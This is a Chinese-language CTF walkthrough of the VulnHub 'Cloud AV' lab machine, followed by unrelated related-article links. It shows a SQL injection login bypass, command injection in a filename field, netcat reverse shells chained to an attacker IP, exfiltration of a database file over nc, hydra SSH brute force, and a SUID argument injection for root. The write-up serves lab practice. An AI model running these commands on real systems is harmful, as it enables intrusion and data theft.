靶场练习2:cloudantvirus
靶场链接
https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/
信息收集
练习1用了arp-scan,这种工具有可能会被防火墙流量监测到,所以可以使用arping, 这种工具基本Linux发行版都会自带。
for i in $(seq 1 255);do sudo arping -c 2 192.168.31.$i;done
根据回包来判断靶机地址。
下一步,扫描端口和服务。
sudo nmap -p- 192.168.31.197
sudo nmap -p22.8080 192.168.31.197
扫描到有ssh和http服务, web服务使用Python写的框架。
漏洞利用
访问Web服务,出现搜索框要求输入邀请码,有两种思路,暴破和注入。
注入的小技巧:先对所有键盘输入的特殊字符进行暴破,若存在状态码和回包长度不一致的,很有可能可以用于构造闭合语句。
回包显示网页使用了Flask框架,且明确显示了数据库查询语句。
尝试使用万能密码
" or 1=1--+
顺利登录,返回一个病毒扫描页面。文本框要求输入一个文件名称,逻辑一般是文件名拼接扫描命令,可以尝试命令执行。
hello | ls
网页顺利回显了文件列表,证明了命令执行的存在。此时可以尝试写入反弹shell,因为框架使用Python写的,可以使用Python的反弹shell。 如果靶机环境存在 netcat, 也可以利用 nc 构建反弹shell。
# kali
nc -nvlp 4444
# 文本框
nc 192.168.31.157 4444 -e /bin/bash
监听端口后无回显,可能是因为靶机环境的 netcat 版本过低,并不支持 -e 参数。
将之删掉后,显示连接已建立。
此时要用到的小技巧叫 nc串联:靶机反向连接 kali , 通过管道符将输入的命令传入 /bin/bash,然后再通过管道符将结果反向输出到 kali 的另一个端口上。
hello | nc 192.168.31.157 3333 | /bin/bash | nc 192.168.31.157 4444
此时kali终端中左侧输入的命令,执行后结果在右侧可显示输出。
提权
查看一下文件权限和文件列表,除了数据库文件外,其他文件对提权并没有作用。使用file database.sql得到数据库是 sqlites,该数据库是本地数据库,然而靶机环境中并没有读取数据库的工具,所以要把它传输到kali中读取。
# kali
nc -nvlp 5555 > db.sql
# 靶机
nc 192.168.31.157 5555 < database.sql
传输完成后使用kali 的 sqlite3 工具进行数据库文件的读取。
发现数据库中都是密码字段,同时在靶机上cat /etc/passwd可以获取用户字段,我们可以用这些信息各自构造一个字段来对靶机的ssh 服务进行暴破。
hydra -L usr.txt -P pass.txt ssh://192.168.31.197
暴破并不成功,寻找另外一种思路。使用pwd看看当前目录,本目录下没有其他线索可用了,退到上一级目录看看。
通过文件列表,可以看到有一个可执行文件具有suid权限,且据推测应该由该目录下一个.c文件编译而来。
通过查看.c文件可以看到,该文件的功能是对cloudav进行升级,且命令后带一个参数,可以利用suid尝试在参数上构造管道拼接提权。
./update_cloudav "a|nc 192.168.31.57 5555| /bin/bash | nc 192.168.31.157 6666
同时在kali上监听这两个端口,可以发现提权成功。
靶场练习2:cloudantvirus的更多相关文章
- CTF丨从零开始搭建WEB Docker靶场
第十二届全国大学生信息安全竞赛即将开始,小伙伴们有报名参加的吗?大家在比赛前是否开始进行模拟演练了?今天,i春秋将与大家分享靶场搭建的相关内容,帮助大家更好的进行实操演练. 学习搭建Docker靶场之 ...
- 第二次靶场练习:cookie注入
cookie注入 本文章目的是对相关的黑客内容进一步了解,如有人违反相关的法律法规,本人概不负责 一.学习目的: 利用手工注入网站 利用sqlmab注入 二.附件说明 靶场网址:http://120. ...
- 第一次靶场练习:SQL注入(1)
SQL注入1 本文章目的是对相关的黑客内容进一步了解,如有人违反相关的法律法规,本人概不负责 一.学习目的: 利用手工注入网站 利用sqlmab注入 二.附件说明 靶场网址:http://117.41 ...
- 文件上传漏洞靶场:upload-labs安装及第一关教程
注:本文仅供学习使用,请勿用于非法操作,后果与作者无关!!! 一.简介 upload-labs是一个使用php语言编写的,专门收集渗透测试过程中遇到的各种上传漏洞的靶场.旨在帮助大家对上传漏洞有一个全 ...
- Jenkins高危代码执行漏洞检测/开源漏洞靶场
漏洞细节可以参看安全客的文章:https://bbs.ichunqiu.com/thread-22507-1-1.html Jenkins-CLI 反序列化代码执行(CVE-2017-1000353) ...
- ethernaut 以太坊靶场学习 (1-12)
前言 这个靶场搜集了许多不同的 solidity 开发的问题,通过这个可以入门 区块链安全 Fallback 给出了源码 pragma solidity ^0.4.18; import 'zeppel ...
- 墨者学院靶场之PHP代码分析溯源(第1题)
申请靶场环境后 点开题目 一段奇怪的PHP代码 因为我自己电脑重装了win10系统,php+apache+mysql的环境本地主机觉得没必要弄了,于是我们用在线的PHP编码(百度一下到处都是) 复制进 ...
- SQLInjection 靶场配置
对于渗透,太小型的网站没有太大价值,而大型网站(比如各种电商平台)对于代码审计往往非常严格,新手基本找不到漏洞,而一些比较容易搞掉的站点(政府.gov.各种教育网站.edu或者很多商业中型站点)渗透又 ...
- 推荐开源靶场Vulhub
转:https://github.com/phith0n/vulhub Vulhub - Some Docker-Compose files for vulnerabilities environme ...
- billu_b0x靶场刷题
https://www.vulnhub.com/ 里面有很多安全环境,只要下载相关镜像,在虚拟机上面搭建运行就可以练习对应靶场了. 第一步.信息收集 nmap扫描内网开放80端口的存活主机 nmap ...
随机推荐
- 无需依赖Docker环境制作镜像
随着高版本的Kubernetes弃用Docker,企业也可以不依赖Docker环境了,但是DevOps通过Kubernetes部署的话,仍然需要制作镜像,那么在没有Docker环境的情况下如何制作呢? ...
- Linux CentOS7查看软件包安装时间
rpm -qi 软件包名,比如httpd,lrzsz [devops@host9 ~]$ rpm -qi lrzsz Name : lrzsz Version : 0.12.20 Release : ...
- 阿里百秀后台管理项目笔记 ---- Day04
来吧展示: step 1 : 实现评论管理数据渲染 利用 ajax 创建接口得到数据使用模板引擎渲染页面 1.1 引入文件 <script src="/static/assets/ve ...
- spring-in-action-day04-配置属性 @ConfigurationProperties
1.Spring环境抽象的概念 2.怎么配置属性.在application.yml举例一些常用的配置 3.自定义配置属性@ConfigurationProperties(prefix = " ...
- NuGet私有服务器ProGet Docker搭建和公司中实战用法
一.什么时候需要用到NuGet私有服务器 很多公司中架构师会搭建一个统一的项目基础架构模板,然后全部新项目都会拿这个基础架构来开发新的项目,那架构中就会有很多的中间件,比喻公司内部的封装好的Redis ...
- LeetCode 双周赛 98,脑筋急转弯转不过来!
本文已收录到 AndroidFamily,技术和职场问题,请关注公众号 [彭旭锐] 提问. 大家好,我是小彭. 昨晚是 LeetCode 第 98 场双周赛,你参加了吗?这场周赛需要脑筋急转弯,转不过 ...
- go 神奇的错误 time.Now().Format("2006-01-02 13:04:05") 比北京时间大8小时
困倦的时候写了个个获取本地时间,打印总比当前时间大8小时,找了很久原因 package main import ( "fmt" "time" ) func ma ...
- 有趣的python库-tkinter
tkinter-GUI编程用 与pyqt.wxpython一样,python三大gui库之一,用来写图形化界面很有意思,下面举个整蛊小例子. 实现烦人的弹窗 import tkinter as tk, ...
- HTML5基本网页结构以及标签的改变
转载csdn:https://blog.csdn.net/z983002710/article/details/76300327
- 解读C#编程中最容易忽略7种编写习惯!
编程时犯错是必然的,我们来解读一下编程中最容出现的错误 1.拼接字符串 在C#编程中,字符串类型的处理是比较容易出错的地方,在.NET Framework中,字符串是一个不可变的类型,当一个字符串被修 ...